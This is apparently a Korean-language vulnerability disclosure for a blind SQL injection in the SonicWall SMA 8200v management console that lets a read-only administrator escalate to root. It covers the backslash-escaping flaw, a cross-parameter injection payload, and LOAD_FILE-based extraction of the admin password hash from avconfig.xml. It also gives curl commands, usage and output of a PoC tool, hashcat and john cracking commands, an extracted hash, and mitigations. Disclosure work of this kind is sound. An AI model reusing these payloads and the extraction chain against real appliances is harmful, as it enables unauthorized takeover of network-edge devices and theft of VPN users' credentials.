
SonicWall SMA1000 시리즈 어플라이언스의 SQL 명령에 사용되는 특수 요소의 부적절한 중화(“SQL Injection”)로 인해 읽기 전용 관리자 권한을 가진 원격 인증 공격자가 기본 관리자로 권한을 상승시킬 수 있습니다.
SonicWall SMA 8200v 관리 콘솔(포트 8443)의 인증 후 블라인드 SQL 인젝션 취약점으로 인해 인증된 모든 관리자(낮은 권한의 읽기 전용 계정 포함)가 어플라이언스 구성 파일에서 기본 관리자의 SHA-512 비밀번호 해시를 추출할 수 있습니다. SonicWall은 관리 콘솔 관리자와 운영 체제 root 계정에 동일한 자격 증명을 사용하므로, 이 해시를 크래킹하면 어플라이언스에 대한 전체 root 수준 액세스 권한을 얻을 수 있습니다.
분류: 권한 상승 (낮은 권한 관리자 → Root) CVSS 3.1: 7.2 (높음) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 공격 복잡성: 낮음 (자동화된 PoC가 약 60~90분 내에 추출 완료) 전제 조건: 유효한 관리 콘솔 자격 증명 (읽기 전용 계정 포함)
| 구성 요소 | 세부 사항 |
|---|---|
| 플랫폼 | SonicWall SMA 8200v (가상 어플라이언스) |
| 펌웨어 | 12.5.0-02283 (확인됨); 12.x 전체 가능성 높음 |
| 서비스 | 관리 콘솔 — Jetty + Struts 2 (포트 8443) |
| 엔드포인트 | POST /activeUsers.action |
| 취약한 매개변수 | realmFilter, communityFilter (교차 매개변수) |
| 근본 원인 클래스 | com.aventail.mgmt.sql.Sql.safeParam() |
| 데이터베이스 | MariaDB 10.11.14, 사용자 DbAdmin (ALL PRIVILEGES + FILE) |
| 대상 파일 | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
관리 콘솔은 com.aventail.mgmt.sql.Sql 클래스의 헬퍼 메서드 safeParam()을 사용하여 Active Users 대시보드에 대한 SQL 쿼리를 구성합니다. 이 메서드는 작은따옴표(')와 큰따옴표(")를 두 배로 늘려 이스케이프하지만, 백슬래시 문자(\)는 이스케이프하지 않습니다.
MySQL/MariaDB에서 백슬래시는 문자열 리터럴 내부의 기본 이스케이프 문자입니다. \' 시퀀스는 데이터베이스가 작은따옴표를 문자열 종결자가 아닌 리터럴 문자로 해석하게 합니다. 즉, 매개변수 값 끝의 백슬래시는 애플리케이션이 추가하는 닫는 따옴표를 이스케이프하여 SQL 문자열 리터럴이 인접한 구문으로 확장되게 합니다.
검증 공백:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 주입 메커니즘: 교차 파라미터 기법
`activeUsers.action` 엔드포인트는 단일 SQL WHERE 절에 보간되는 여러 필터 파라미터를 허용합니다. 관련 파라미터는 `realmFilter`와 `communityFilter`이며, 이들은 대략 다음과 같은 구조의 쿼리에 나타납니다:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
공격 파라미터 설정:
| 파라미터 | 값 | 목적 |
|---|---|---|
realmFilter | test\ | 후행 백슬래시가 닫는 따옴표를 이스케이프하여 문자열 리터럴이 AND 경계를 넘어 확장되도록 함 |
communityFilter | )) OR (SELECT IF(<조건>,SLEEP(N),0))-- x | 열린 괄호를 닫고 조건부 SLEEP을 주입하며 나머지 부분을 주석 처리함 |
보간 후 결과 SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
이를 분석하면:
1. `rt.name='test\')` — `\`가 `'`를 이스케이프하므로 문자열은 여기서 닫히지 않음
2. `AND (ct.name='` — 문자열 값의 일부가 됨(리터럴 텍스트)
3. 문자열은 마침내 다음 `'`(communityFilter의 시작 부분)에서 닫힘
4. `))` — WHERE 절 구조에서 열린 두 개의 괄호를 닫음
5. `OR (SELECT IF(...))` — 블라인드 SQLi 조건을 주입
6. `-- x` — 나머지 SQL(`')` 및 기타 절)을 주석 처리
### 3.3 시간 기반 블라인드 추출
애플리케이션의 Struts 2 오류 처리가 SQL 예외를 정상적으로 처리하므로(쿼리 성공 여부와 관계없이 항상 동일한 페이지 콘텐츠와 함께 HTTP 200을 반환), 오류 기반 및 UNION 기반 추출 방법은 사용할 수 없습니다. 주입은 시간 기반 블라인드 기법을 사용하여 악용됩니다:
- **TRUE 조건:** `IF(<condition>, SLEEP(N), 0)` — 응답이 SLEEP 지속 시간에 결과 집합의 행 수를 곱한 만큼 지연됨
- **FALSE 조건:** SLEEP 없음 — 응답이 약 200-500ms 내에 반환됨
SLEEP 함수는 WHERE 절 평가에서 행별로 실행됩니다. 일반적인 모니터링 테이블에 30-300개 이상의 행이 포함된 경우, 작은 SLEEP 값(예: 0.3초)이라도 명확히 구분 가능한 지연(TRUE의 경우 10-100초, FALSE의 경우 <1초)을 생성합니다.
대상 데이터의 각 문자는 ASCII 범위에 대한 이진 검색을 통해 추출됩니다:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
이를 위해서는 문자당 최대 7회의 요청이 필요하며(log2(128) = 7), 98자 SHA-512 해시의 경우 총 약 686회의 요청이 발생합니다.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 1단계: 인증
SMA 관리 콘솔은 두 가지 인증 영역(realm)을 지원합니다:
| 영역 ID | 표시 이름 | 사용자 |
|----------|-------------|-------|
| *(비어 있음)* | 관리 콘솔 | 기본 관리자 계정만 |
| `AMCAuthRealm` / `로컬 인증` | 로컬 인증 | 보조 관리자 계정(읽기 전용, 사용자 지정) |
공격에는 관리 콘솔 접근 권한이 있는 **모든** 계정의 유효한 자격 증명만 있으면 됩니다. 모니터링 전용 접근을 위해 설계되고 구성 변경 기능이 없는 "읽기 전용" 계정으로도 충분합니다.
인증은 J2EE FORM 기반 인증을 통해 수행됩니다:
1. `GET /console.action` — 로그인 페이지를 검색하고 숨겨진 양식 필드에서 CSRF 토큰을 추출합니다
2. `POST /j_security_check` — `csrfToken`, `j_username`, `j_password`, `realmId`를 제출합니다
3. 성공 시 HTTP 303 리디렉션, `JSESSIONID` 쿠키가 설정됩니다
### 4.3 2단계: SQL 인젝션
인증 후, 공격자는 교차 매개변수 인젝션을 사용하여 `/activeUsers.action`에 POST 요청을 보냅니다:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
무조건적인 IF(1=1, SLEEP(0.3), 0)는 HTTP 응답에서 측정 가능한 지연을 관찰하여 주입이 실제로 작동하는지 검증합니다.
MariaDB 데이터베이스는 OS 사용자 DbAdmin(uid=1001, gid=500 aventail)으로 실행됩니다. 이 데이터베이스 사용자는 LOAD_FILE()에 필요한 FILE 권한을 포함하여 ALL PRIVILEGES ON *.* WITH GRANT OPTION을 보유합니다.
중요한 발견: MariaDB 구성 설정 secure_file_priv = NULL(INTO OUTFILE 및 INTO DUMPFILE 쓰기 작업을 차단)에도 불구하고, 파일 읽기를 위한 LOAD_FILE() 함수는 완전히 작동합니다. 이는 문서화되어 있지만 잘 알려지지 않은 MariaDB 동작입니다 — secure_file_priv=NULL는 파일 쓰기 경로를 제한하지만, 사용자가 FILE 권한을 가진 경우 파일 읽기를 비활성화하지 않습니다.
대상 구성 파일 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml은 mgmt-server:aventail이 소유하며 권한은 664(rw-rw-r--)입니다. DbAdmin OS 사용자가 aventail 그룹에 속하므로 LOAD_FILE()로 이 파일을 읽을 수 있습니다.
블라인드 SQLi를 통한 검증:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 4단계: avconfig.xml에서 관리자 해시 찾기
`avconfig.xml` 파일(약 98KB)은 어플라이언스의 마스터 구성 저장소입니다. 이 파일에는 모든 사용자 자격 증명이 SHA-512 crypt 형식으로 `<password>` XML 요소 내에 포함되어 있습니다. 기본 관리자 해시는 관리자 섹션에 고유한 `<consoleMode>` 요소 근처의 `<credentials_item>` 블록에 위치합니다.
하드코딩된 바이트 오프셋(관리자 섹션 위의 구성이 변경되면 깨질 수 있음)에 의존하는 대신, 추출 과정은 MySQL 문자열 함수를 사용하여 해시를 동적으로 찾습니다:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
로직:
LOCATE('consoleMode', file) — consoleMode 문자열의 바이트 오프셋을 찾아 관리자 구성 섹션에 기준점을 설정합니다LOCATE('<password>', file, anchor_offset) — 해당 기준점 이후 첫 번째 <password> 태그를 찾습니다SUBSTRING(file, tag_offset + 10, 120) — 해시 값을 추출합니다 (<password> 태그의 10자를 건너뜀)SUBSTRING_INDEX(result, '<', 1) — </password> 닫는 태그에서 잘라냅니다이 접근 방식은 위치에 독립적이며 파일의 다른 곳에서 구성이 변경되어도 견고합니다. 전체 표현식은 MySQL 16진수 리터럴(0x...)로 인코딩되어 주입 컨텍스트 내에서 따옴표 문제를 피합니다.
해시의 각 문자는 이진 탐색을 통해 추출됩니다:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
이진 탐색은 각 요청마다 ASCII 범위 [0, 127]을 절반으로 좁힙니다:
| 단계 | 범위 | 테스트 | 결과 |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | 수렴됨 | 문자 = chr(n) |
알려진 관리자 해시(`$6$WHTK8ybQ$MchVNW...`)의 경우, 98개 문자 전체를 추출하려면 약 686개의 HTTP 요청이 필요합니다.
### 4.7 6단계: 해시 크래킹
추출된 해시는 표준 SHA-512 crypt 형식입니다:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| 필드 | 값 |
|---|---|
| 알고리즘 | $6$ — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 7단계: 전체 시스템 장악
SonicWall SMA 아키텍처는 관리 콘솔의 관리자 비밀번호를 OS 루트 비밀번호로 사용합니다. 이는 설계상의 결정입니다 — 관리 콘솔을 통해 관리자 비밀번호가 설정되거나 변경되면, 웹 인터페이스와 기본 Linux 루트 계정 모두에 적용됩니다. 따라서 관리자 해시를 크래킹하면 다음이 제공됩니다:
- **관리 콘솔(포트 8443):** 모든 구성, 정책, 사용자 관리 및 모니터링에 대한 전체 관리 액세스
- **SSH(포트 22):** 기본 Debian Linux 운영 체제에 대한 루트 셸 액세스
- **직렬 콘솔:** 물리적/대역외 액세스를 위한 루트 로그인
---
## 5. 기여 요인
여러 아키텍처 결정이 결합되어 이 취약점을 악용 가능하게 만듭니다:
### 5.1 불완전한 SQL 삽입 방지
`com.aventail.mgmt.sql.Sql`의 `safeParam()` 메서드는 따옴표는 이스케이프하지만 백슬래시는 이스케이프하지 않습니다. 이는 잘 알려진 SQL 삽입 유형입니다 — MySQL의 백슬래시 이스케이프 동작은 2000년대 초부터 보안 문제로 문서화되어 왔습니다. 수정은 간단합니다: 백슬래시를 이스케이프하거나(`\` → `\\`), `NO_BACKSLASH_ESCAPES` SQL 모드를 설정하거나, 매개변수화된 쿼리를 사용하면 됩니다.
### 5.2 과도한 권한을 가진 데이터베이스 사용자
MariaDB `DbAdmin` 사용자는 `ALL PRIVILEGES ON *.* WITH GRANT OPTION`으로 실행됩니다. 이는 애플리케이션이 요구하는 것보다 훨씬 많은 기능을 부여하며, 여기에는 다음이 포함됩니다:
- `FILE` 권한(LOAD_FILE, INTO OUTFILE)
- `SUPER` 권한
- `GRANT OPTION`(새 슈퍼유저 계정 생성 가능)
애플리케이션은 자체 데이터베이스에 대한 SELECT/INSERT/UPDATE/DELETE만 필요합니다. 과도한 권한은 SQL 삽입을 데이터 추출에서 임의 파일 읽기/쓰기로 변환합니다.
### 5.3 secure_file_priv 잘못된 구성
`secure_file_priv = NULL`은 파일 **쓰기** 작업(`INTO OUTFILE`, `INTO DUMPFILE`)을 차단하지만, 파일 **읽기** 작업(`LOAD_FILE()`)은 차단하지 **않습니다**. 이는 문서화된 MariaDB 동작으로, 자주 오해됩니다. 관리자와 개발자는 종종 `secure_file_priv = NULL`이 모든 파일 I/O를 비활성화한다고 가정하지만, 쓰기 경로만 제한합니다.
`LOAD_FILE()`을 완전히 비활성화하려면 데이터베이스 사용자에게서 `FILE` 권한을 박탈해야 합니다:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
모든 비밀번호 해시가 포함된 avconfig.xml 파일은 mgmt-server:aventail이 소유하고 있으며 권한은 664입니다. aventail 그룹에는 MariaDB가 실행되는 DbAdmin OS 사용자가 포함됩니다. 즉, 데이터베이스 프로세스가 어플라이언스의 마스터 구성 파일(저장된 모든 자격 증명 포함)을 읽을 수 있습니다.
더 제한적인 권한 모델(예: mgmt-server:mgmt-server가 소유한 모드 600, 또는 관리 애플리케이션만 읽을 수 있는 전용 시크릿 파일에 해시를 저장)을 사용하면 FILE 권한이 있어도 LOAD_FILE()이 해시에 접근하는 것을 방지할 수 있습니다.
관리 콘솔 관리자와 OS 루트 계정에 동일한 비밀번호를 사용하도록 한 설계 결정은 애플리케이션 계층에서 관리자 해시를 추출하면 곧바로 운영 체제 루트 접근 권한을 얻을 수 있음을 의미합니다. 이는 웹 애플리케이션 계층과 기본 운영 체제 사이의 경계를 완전히 제거합니다.
"readonly" 관리 콘솔 역할은 구성 변경 기능 없이 모니터링 전용 접근을 제공하기 위한 것입니다. 그러나 activeUsers.action 엔드포인트는 역할에 관계없이 모든 인증된 사용자에 대해 필터 매개변수를 동일하게 처리합니다. 읽기 전용 계정은 기본 관리자와 동일한 SQL 인젝션을 실행할 수 있는데, 이는 취약점이 구성 변경 경로가 아닌 데이터 검색 경로(활성 사용자 목록/필터링)에 있기 때문입니다.
완전 자동화된 익스플로잇 도구가 개발되어 실제 대상에 대해 검증되었습니다.
사용법(readonly 계정 — 권한 상승 증명):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**실행 단계:**
1. **1단계: 인증** — 지정된 자격 증명과 영역(realm)으로 로그인하여 JSESSIONID를 획득
2. **2단계: 검증** — SQLi가 작동하는지(SLEEP 타이밍), LOAD_FILE이 avconfig.xml을 읽을 수 있는지, 관리자 해시 앵커가 존재하는지 확인
3. **3단계: 추출** — 이진 탐색을 통해 전체 SHA-512 해시를 문자 단위로 추출
4. **4단계: 출력** — 해시를 hashcat 호환 형식으로 작성하고 크래킹 명령 출력
**관찰된 출력:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
주입은 PoC 도구 없이도 수동으로 검증할 수 있습니다:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 MySQL CLI를 통한 직접 SQL 검증
루트 SSH 액세스 권한이 있으면 SQL 추출 표현식을 직접 검증할 수 있습니다:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| 영향 | 설명 |
|---|---|
| 기밀성 | aventail 그룹이 읽을 수 있는 모든 파일에 대한 전체 읽기 권한(구성 파일, 자격 증명, 인증서, 키 포함) |
| 무결성 | 해시 크래킹 이후: 전체 관리 콘솔 접근으로 임의 구성 변경, 정책 수정, 사용자 관리 가능 |
| 가용성 | 루트 접근으로 서비스 중단, 데이터 파괴 또는 영구적인 장치 비활성화 가능 |
시나리오 1: 내부자 위협 / 최소 권한 위반 합법적인 모니터링 접근 권한을 가진 읽기 전용 관리자(SOC 분석가, 감사자, 주니어 엔지니어)가 모든 역할 기반 접근 통제를 우회하여 전체 관리자/루트 권한으로 승격합니다.
시나리오 2: 자격 증명 탈취를 통한 권한 승격 관리 콘솔 자격 증명(피싱, 자격 증명 스터핑, 기본 비밀번호)을 획득한 공격자는 탈취한 계정의 의도된 권한 수준과 관계없이 루트 권한으로 승격할 수 있습니다.
시나리오 3: 네트워크 피벗 SMA 어플라이언스에 대한 루트 접근은 네트워크 경계에서 지속적인 발판을 제공합니다. 공격자는 VPN 트래픽을 가로채고, 라우팅을 수정하고, 내부 네트워크 세그먼트에 접근하고, 구성에서 모든 VPN 사용자 자격 증명을 추출할 수 있습니다.
매개변수화된 쿼리: 관리 콘솔의 SQL 계층 전체에서 safeParam()의 문자열 보간을 준비된 문(Prepared Statements)/매개변수화된 쿼리로 교체합니다. 이는 문자 이스케이프와 관계없이 인젝션을 제거합니다.
FILE 권한 철회: DbAdmin 데이터베이스 사용자로부터 FILE 권한을 제거합니다: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
데이터베이스 권한 제한: DbAdmin에 최소 권한을 적용합니다 — 애플리케이션이 필요로 하는 특정 데이터베이스(monitoring, scheduler, troubleshooting)에 대해서만 SELECT, INSERT, UPDATE, DELETE 권한을 부여합니다.
avconfig.xml 권한 제한: 파일 소유권과 권한을 변경하여 데이터베이스 사용자가 구성을 읽지 못하도록 합니다. ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
관리자 자격 증명과 루트 자격 증명 분리: 관리 콘솔 관리자 비밀번호를 OS 루트 비밀번호와 분리하세요. 독립적인 변경/순환 메커니즘을 가진 별도의 자격 증명을 사용하세요.
역할 기반 엔드포인트 접근: activeUsers.action 엔드포인트(및 기타 모든 데이터 조회 엔드포인트)에 대한 접근을 UI/메뉴 수준이 아닌 애플리케이션 계층에서 사용자 역할에 따라 제한하세요.
SQL 모드 강화: MariaDB 구성에서 NO_BACKSLASH_ESCAPES를 설정하여 백슬래시 이스케이프 해석을 전역적으로 비활성화하세요: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
해시 저장 분리: 비밀번호 해시를 기본 XML 구성 파일이 아닌, 일반 애플리케이션 데이터베이스 사용자가 접근할 수 없는 전용 파일 또는 데이터베이스 테이블에 저장합니다.
LOAD_FILE()에는 FILE 권한이 필요하며, secure_file_priv는 SELECT ... INTO를 제한하지만 LOAD_FILE()은 제한하지 않음NO_BACKSLASH_ESCAPES가 설정되지 않은 경우 문자열 리터럴에서 \는 이스케이프 문자로 처리됨$6$ 접두사, 구성 가능한 라운드(기본값 5000), 86자 Base64 해시 출력$6$)| Salt | WHTK8ybQ |
| 라운드 | 5000 (기본값, 지정되지 않음) |
| Hashcat 모드 | 1800 |
| John 형식 | sha512crypt |
| 날짜 | 이벤트 |
|---|
| 2026-02-24 | safeParam() 정적 분석을 통해 교차 매개변수 SQLi 식별 |
| 2026-02-24 | 관리자 세션으로 블라인드 SQLi 확인 (SLEEP 타이밍) |
| 2026-02-25 | 읽기 전용 계정으로 SQLi 확인 (권한 상승 벡터) |
| 2026-02-25 | secure_file_priv=NULL에도 불구하고 LOAD_FILE() 작동 확인 |
| 2026-02-25 | avconfig.xml이 admin/root 해시가 포함된 자격 증명 저장소로 확인됨 |
| 2026-02-25 | MySQL CLI를 통해 SQL 추출 표현식 검증 |
| 2026-02-25 | PoC 도구(sma_admin_hash_poc.py)로 전체 자동 추출 확인 |
| 2026-02-25 | 권한 상승 체인 검증: 읽기 전용 -> admin/root 해시 |